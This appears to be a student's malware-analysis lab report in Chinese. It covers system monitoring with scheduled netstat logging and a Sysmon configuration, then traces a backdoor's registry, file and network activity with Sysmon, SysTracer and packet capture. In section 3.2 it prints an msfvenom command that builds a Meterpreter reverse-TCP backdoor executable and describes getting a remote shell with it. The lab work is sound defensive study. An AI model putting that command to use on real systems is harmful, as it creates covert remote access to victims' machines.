20175323 Exp4 恶意代码分析
1. 实验后回答问题
-
如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所以想监控下系统一天天的到底在干些什么。请设计下你想监控的操作有哪些,用什么方法来监控。
答:用计划任务可以一直监控端口和进程,并且导入excel统计的话也比较方便查看进程的运行次数等,还有Sysmon、schtasks等工具可以对计算机监听,另外微软的Process Explorer也可以监控进程活动
-
如果已经确定是某个程序或进程有问题,你有什么工具可以进一步得到它的哪些信息。
答:sysmon(全程记录事件,用搜索功能查找出与该程序对应的事件日志)、SysTracer(有详细对比并且方便查找注册表和文件被进行了什么样子的修改)、还可以上VirusTotal、VirusScan进行扫描,看看它是否被认为是个恶意程序
2. 实验总结与体会
这次实验虽说基本上都是利用现有的工具,但是也遇到了一些令人困惑的问题(工具不会用、计划任务无法自动运行、分析数据变化等),需要在网上查找很多的信息,对注册表等文件的内容有了进一步的了解,感觉工具会用也蛮厉害的(比如excel表的统计功能……)
3. 实践过程记录
3.1 系统运行监控
3.1.1 Windows计划任务schtasks
使用命令schtasks /create /TN 20175323 /sc MINUTE /MO 1 /TR "cmd /c netstat -bn > c:\netstatlog.txt"
创建计划任务
- 此处
TR
后的表示需要运行的指令 TN
后面表示计划任务名字sc
表示计时方式b
表示显示执行的程序名,n
表示不解析IP直接显示
注:此处的计划任务名称是netstat5323是因为我做了很多遍!最后成功的计划任务名是20175323!但是最后忘记截图
在C盘下建一个文件c:\netstatlog.bat用于显示日期和时间,内容为:
date /t >> c:\netstatlog.txt
time /t >> c:\netstatlog.txt
netstat -bn >> c:\netstatlog.txt
通过控制面板->管理工具->任务计划程序,找到20175323的计划任务:
更改20175323计划中的属性->操作中的cmd,改为上面生成的bat
然后就出现了一个问题:总是能够手动运行且不报错,可是就是不能自动每分钟运行一次
最后通过以下俩个步骤解决:
我还需要在常规的安全中修改选项如下:(需要输入用户密码)
一定要修改电源选项,不然会无法触发
神奇的就是这两个小小的地方让我卡了一晚上
触发这个计划任务后,打开c:\netstatlog.txt
文件,就可以看到获取到的信息
我一直开着电脑等了一天,之后将数据全部复制到excel进行统计:
小贴士:如果直接导入不能出现文本向导就复制数据,通过开始->粘贴键进入导入向导
如图导入成功:
然后可以统计数值:
emmm可以看到人人影视的程序和p4pclient.exe(应该是人人用于上传和下载的程序)访问次数最多(暴露了我边做实验边下电影的事实)
如果剔除这两个程序的话,进程数最多的就有[chrome.exe]、[DellMobileConnectClient.exe]、[svchost.exe]和[TXEDU.exe]
前两个应该没什么大问题,第三个是微软的,官方解释是“从动态链接库 (DLL) 中运行的服务的通用主机进程名称”,最后一个没查到是啥……
只能查查这个TXEDU.exe的IP归属地址,结果还真是来自四面八方的,海外也有,难道还真让我发现了一个病毒?最后在bing中查到:
emmmmm……那好吧
3.1.2 sysmon
在官网上下载sysmon工具,并设置配置文件:
<Sysmon schemaversion="10.42">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms>
<EventFiltering>
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<DriverLoad onmatch="exclude">
<Signature condition="contains">microsoft</Signature>
<Signature condition="contains">windows</Signature>
</DriverLoad>
<ProcessCreate onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<Image condition="end with">iexplorer.exe</Image>
</ProcessCreate>
<NetworkConnect onmatch="exclude">
<Image condition="end with">chrome.exe</Image>
<Image condition="end with">iexplorer.exe</Image>
<SourcePort condition="is">137</SourcePort>
<SourceIp condition="is">127.0.0.1</SourceIp>
</NetworkConnect>
<CreateRemoteThread onmatch="include">
<TargetImage condition="end with">explorer.exe</TargetImage>
<TargetImage condition="end with">svchost.exe</TargetImage>
<TargetImage condition="end with">winlogon.exe</TargetImage>
<SourceImage condition="end with">powershell.exe</SourceImage>
</CreateRemoteThread>
</EventFiltering>
</Sysmon>
其中相关项:
ProcessCreate
表示进程创建NetworkConnect
是网络连接CreateRemote
是远程线程创建
打开cmd,进入sysmon所在的文件夹,输入Sysmon.exe -i sysmon.xml
,注意要以管理员身份运行
然后就可以进入计算机管理
,查看事件查看器
,在应用程序和服务日志/Microsoft/Windows/Sysmon/Operational
中,我们可以看到按照配置文件的要求记录的新事件,以及详细信息。
3.2 恶意软件分析
要求:分析该软件在(1)启动回连,(2)安装到目标机(3)及其他任意操作时(如进程迁移或抓屏,重要是你感兴趣)。该后门软件
(1)读取、添加、删除了哪些注册表项
(2)读取、添加、删除了哪些文件
(3)连接了哪些外部IP,传输了什么数据(抓包分析)
- 使用Sysmon
因为实验三我并没有实现免杀,所以还是用了实验二的后门程序,关闭了杀软。然后用主机实现回连,kali获取到主机shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=5323 -f exe > 5323backdoor.exe
老套路了
在sysmon中进行查找,可以看到完整的回连信息:
以及用kali对主机发出指令时的信息:我连续输入了dir、pwd、ecord_mic等指令,抓到了下面这个
不太清除这个ApacheBench command line utility是干什么的,网上说是实用命令行程序。。
另外其他抓到的与5323backdoor有关的事件中只有进程id号,没有详细信息。
- 使用Systracer
第一步:下载安装Systracer。
点击take snapshot
拍摄一次快照
用kali对主机getShell之后执行一些指令
在这个过程中拍摄了四次快照:
- 快照一(Snapshot #1):安装好Systracer后立即拍摄的快照
- 快照二(Snapshot #2):运行后门程序并在kali中getShell时
- 快照三(Snapshot #3):通过后门程序对主机运行指令,如dir、ecord_mic等后
- 快照四(Snapshot #4):程序执行结束后
对快照进行分析,通过Applications
->左侧Running Processes
->找到后门进程5323backdoor.exe
->点击Opened Ports
,可以看到查看回连地址、远程地址和端口号:
还可以根据Compare
键对某一个具体的快照看到计算机文件中前后的变化:
下面是快照二的compare,蓝色为变化的内容:
上图中是Software\Microsoft\InputMethod\SHARED\
发生了变化,一查发现是微软输入法的注册表,难道是后门程序尝试用主机输入法向主机shell发送指令?
可以看到具体是CoCPrivacyConsentUXShowStartTime
发生了变化,但是具体它的意思我没揣摩出来,网上也没查到
这个Software\Microsoft\Windows\CurrentVersion\ActivityDataModel
中的ActivityDataModel
我实在不知道啥意思
路径是SOFTWARE\Microsoft\Multimedia
,终于遇到一个看得懂的了,这个应该是多媒体的注册表信息,对应我在kali中的获取音频的ecord_mic指令操作
以上是全部的变化内容,另外还有一些蓝色部分显示:
猜测可能是Systracer的库中没有对应的内容所以无法解析
下面是快照四的compare中变化内容:此时
可以看到ControlSet001
和CurrentControlSet
都发生了变化,其中ControlSet001
代表系统真实的配置信息。CurrentControlSet
代表运行时配置的信息
但是不清楚服务中的bam指什么
- 抓包
通过主机抓到的包全部都是TCP包,如下图所示,除了三次握手没有分析出有用的信息